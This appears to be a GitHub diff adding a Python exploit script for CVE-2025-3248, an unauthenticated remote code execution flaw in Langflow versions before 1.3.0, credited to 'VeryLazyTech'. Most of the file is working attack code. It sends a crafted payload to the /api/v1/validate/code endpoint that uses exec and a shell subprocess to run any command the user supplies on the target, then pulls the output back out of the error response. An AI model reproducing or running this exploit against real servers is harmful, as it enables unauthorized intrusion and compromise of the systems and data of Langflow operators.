|
| 1 | +# Exploit Title: Langflow 1.3.0 - Remote Code Execution (RCE) |
| 2 | +# Date: 2025-04-17 |
| 3 | +# Exploit Author: VeryLazyTech |
| 4 | +# Vendor Homepage: http://www.langflow.org/ |
| 5 | +# Software Link: https://github.com/langflow-ai/langflow |
| 6 | +# Version: Langflow < 1.3.0 |
| 7 | +# Tested on: Windows Server 2019 |
| 8 | +# CVE: CVE-2025-3248 |
| 9 | +# CVE-2025-3248 - Remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code |
| 10 | +# FOFA "Langflow" |
| 11 | +# Medium: https://medium.com/@verylazytech |
| 12 | +# GitHub: https://github.com/verylazytech |
| 13 | +# Shop: https://shop.verylazytech.com |
| 14 | +# Website: https://www.verylazytech.com |
| 15 | + |
| 16 | +import argparse |
| 17 | +import requests |
| 18 | +import json |
| 19 | +from urllib.parse import urljoin |
| 20 | +import random |
| 21 | +from colorama import init, Fore, Style |
| 22 | + |
| 23 | +# Disable SSL warnings |
| 24 | +requests.packages.urllib3.disable_warnings() |
| 25 | + |
| 26 | +# Initialize colorama |
| 27 | +init(autoreset=True) |
| 28 | + |
| 29 | +# Constants |
| 30 | +ENDC = "\033[0m" |
| 31 | +ENCODING = "UTF-8" |
| 32 | +COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE] |
| 33 | + |
| 34 | +def banner(): |
| 35 | + random_color = random.choice(COLORS) |
| 36 | + return f"""{Style.BRIGHT}{random_color} |
| 37 | + ______ _______ ____ ___ ____ ____ _________ _ _ ___ |
| 38 | + / ___\ \ / / ____| |___ \ / _ \___ \| ___| |___ /___ \| || | ( _ ) |
| 39 | +| | \ \ / /| _| __) | | | |__) |___ \ |_ \ __) | || |_ / _ \ |
| 40 | +| |___ \ V / | |___ / __/| |_| / __/ ___) | ___) / __/|__ _| (_) | |
| 41 | + \____| \_/ |_____| |_____|\___/_____|____/ |____/_____| |_| \___/ |
| 42 | + |
| 43 | + |
| 44 | +__ __ _ _____ _ |
| 45 | +\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__ |
| 46 | + \ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \ |
| 47 | + \ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | | |
| 48 | + \_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_| |
| 49 | + |___/ |___/ |
| 50 | + |
| 51 | + {Style.BRIGHT}{Fore.WHITE}@VeryLazyTech - Medium {Style.RESET_ALL}\n |
| 52 | +{Style.RESET_ALL} |
| 53 | +""" |
| 54 | + |
| 55 | +print(banner()) |
| 56 | + |
| 57 | +class LangflowScanner: |
| 58 | + def __init__(self, url, timeout=10): |
| 59 | + self.url = url.rstrip('/') |
| 60 | + self.timeout = timeout |
| 61 | + self.session = requests.Session() |
| 62 | + self.session.verify = False |
| 63 | + self.session.headers.update({ |
| 64 | + 'User-Agent': 'Mozilla/5.0', |
| 65 | + 'Content-Type': 'application/json', |
| 66 | + 'Accept': 'application/json', |
| 67 | + }) |
| 68 | + |
| 69 | + def exploit(self, command): |
| 70 | + endpoint = urljoin(self.url, '/api/v1/validate/code') |
| 71 | + payload = { |
| 72 | + "code": f""" |
| 73 | +def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass |
| 74 | +""" |
| 75 | + } |
| 76 | + |
| 77 | + try: |
| 78 | + print(f"{Fore.YELLOW}[*] Sending payload to {endpoint}") |
| 79 | + response = self.session.post(endpoint, json=payload, timeout=self.timeout) |
| 80 | + print(f"{Fore.YELLOW}[*] Status Code: {response.status_code}") |
| 81 | + print(f"{Fore.YELLOW}[*] Raw Response: {response.text}") |
| 82 | + |
| 83 | + if response.status_code == 200: |
| 84 | + try: |
| 85 | + data = response.json() |
| 86 | + error_msg = data.get("function", {}).get("errors", [""])[0] |
| 87 | + if isinstance(error_msg, str) and error_msg.startswith("b'"): |
| 88 | + output = error_msg[2:-1].encode().decode('unicode_escape').strip() |
| 89 | + return output |
| 90 | + except Exception as e: |
| 91 | + return f"[!] Failed to parse response: {str(e)}" |
| 92 | + return f"[!] Exploit failed with status {response.status_code}" |
| 93 | + except requests.RequestException as e: |
| 94 | + return f"[!] Request failed: {str(e)}" |
| 95 | + |
| 96 | +def main(): |
| 97 | + parser = argparse.ArgumentParser(description="Langflow CVE-2025-3248 Exploit") |
| 98 | + parser.add_argument("url", help="Target base URL (e.g., http://host:port)") |
| 99 | + parser.add_argument("cmd", help="Command to execute (e.g., whoami)") |
| 100 | + args = parser.parse_args() |
| 101 | + |
| 102 | + scanner = LangflowScanner(args.url) |
| 103 | + result = scanner.exploit(args.cmd) |
| 104 | + print(f"{Fore.GREEN}[+] Command Output:\n{result}") |
| 105 | + |
| 106 | +if __name__ == "__main__": |
| 107 | + main() |
0 commit comments